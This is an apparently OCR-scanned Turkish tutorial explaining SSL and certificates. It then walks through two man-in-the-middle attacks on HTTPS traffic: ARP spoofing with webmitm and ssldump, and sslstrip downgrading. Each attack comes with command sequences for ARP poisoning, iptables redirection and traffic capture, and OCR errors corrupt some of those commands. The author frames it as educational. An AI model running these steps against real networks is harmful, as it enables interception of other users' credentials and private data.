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SSL Nedir?

SSL (Secure Socket Layer) protokolii ilk defa 1994 yilinda, giivenli
veri transferi saglamak amaciyla Netscape tarafindan gelistirilmistir.
1996 yilinda 3.0 versiyonunun ¢ikarilmasiyla birlikte biitiin Internet
tarayicilarinin (Microsoft Explorer, Netscape Navigator vb)
destekledigi bir standart haline gelmistir. SSL i1le Web Tarayici ve
Web server arasinda HTTPS teknolojisi kullanilarak iletilen verilerin
tictincii kisilere kars1 korunmasi amaglanmistir. SSL glivencesiyle
calisan web siteleri ile iletisim durumu, tarayicilarda altin renkli
asmakilit ikonu ile ifade edilmektedir. Server ve Client arasinda
birbirlerini "tanima" islemi, agik-kapali anahtar teknigine (public-
private key encryption) dayanan bir kripto sistemi ile saglanmaktadir.

Neden SSL’e ihtiya¢c duyulmustur?



Gliniimiiziin vazgecilmezi haline gelen internetle beraber kablo
lizerindeki bilginin giivenligi de son derece dnem kazanmustir.
Kurumsal veya kisisel 6zel verilerin, kablo lizerinde gizliligi son
derece kritik ve hassastir. Bilginin kars1 tarafa dogru iletilmesi ve
bilginin transferi sirasinda baskalar: tarafindan izlenememesi
gerekmektedir. Bu gereksinimleri yerine getirebilmek amaciyla Secure
Sockets Layer gelistirilmistir.

Hello, let's set up a secure SSL session
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Imzah Sertifikalar



Giivenligin on planda oldugu web projeleri i¢in “dijital olarak
imza’’lanan sertifikalar kullanir. Sertifika, aslinda organizasyon
hakkinda bazi bilgiler iceren bir veri dosyasidir. Ayni zamanda,
kurulusun agik-kapali anahtar c¢iftinin "agik" anahtar1 da sertifika
icinde yer alir. Sunucu sertifikasi da, o sunucuyu isleten kuruma ait
bilgiler igeren bir sertifikadir. Sertifikalar, "imzali sertifika yetkisi"ne
sahip kurumlar tarafindan dagitilir. (Globalsign, thawte gibi). SSL
giivenligi altindaki sitelere https istemiyle baglanilir. Server client’a
acik anahtar bilgilerini gonderir. Client sertifikay1 imzalayan kuruma
anahtarin gecerliligini sorgular, eger gecerli ise tarayica giivenilir bir
siteye baglanildigina dair onay verir. Server a¢ik anahtarla sifrelenmis
bilgileri sadece kendisinde bulunan “private key” ile anlayabilir.

Saldir tipleri ve araclar



Yapilan testlerde Backtrack 3.0 Linux ortami1 kullanilmastir.

Bu dokiimanda SSL trafigindeki verilere erisim amaciyla 2 saldir tipi
ele alinmistir. Her iki saldir1 tipi de MiTM (Man in the middle) olarak
bilinen yontem kullanilarak sekillenmistir.

MiTM ile sniffing switched aglar i¢in etkili bir saldir1 yontemidir.
ARP reply paketleriyle hedef ARP tablosu zehirlenir. Saldirgan,
packet forwarding ozelligini de aktif hale getirdigi sistemi iizerinde
hedef veri i¢in analiz sansi1 yakalar.

Web Server

Connection

Backtrack 3.0 Live CD http://www.remote-exploit.org/backtrack.html
Arpspoof

Sslstrip http://www.thoughtcrime.org/software/sslstrip/

Webmitm

Ssldump



http://www.thoughtcrime.org/software/sslstrip/
http://www.remote-exploit.org/backtrack.html

Birinci yontemle server ve client arasina giren saldirgan kendi
onayladig1 “giivenilir olmayan”sertifikayla ssldump uygulamasini
kullanarak veriye ulasir.

# echo 1 > /proc/sys/net/ipv4/ip forward

# iptables -t nat -A PREROUTING -p tcp —dport 443 -j REDIRECT
# iptables -A FORWARD -} ACCEPT

# arpspoof -t <target> <gateway>

# webmitm -d

#./ssldump -n -d -k webmitm.crt | tee ssldump.log



Ikinci yontemde server ve client arasina giren saldirgan 6zet olarak
https baglantisini http yontemiyle ¢alisacak sekilde diizenleyerek
veriye ulasir. Sslstrip uygulamasi default 10000 numarali port
tizerinden ¢alismaktadir.

# echo 1 > /proc/sys/net/ipv4/ip_forward
# arpspoof -1 ethO -t 192.168.1.6 192.168.1.1

# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j
REDIRECT --to-ports 10000

# ./sslstrip —w gelenveri



Baglantilar

http://www.blackhat.com/presentations/bh-dc-
09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf

http://forums.remote-exploit.org/tutorials-guides/3157-ssl-sniffing-
using-ssldump-webmitm-arpspoof.html

Oneri, gériis ve sorularmizi i¢in okan[at]deu.edu.tr adresine
yazabilirsiniz. Bu dokiiman egitim amaciyla hazirlanmistir. Kaynak
gostererek kullanabilirsiniz.
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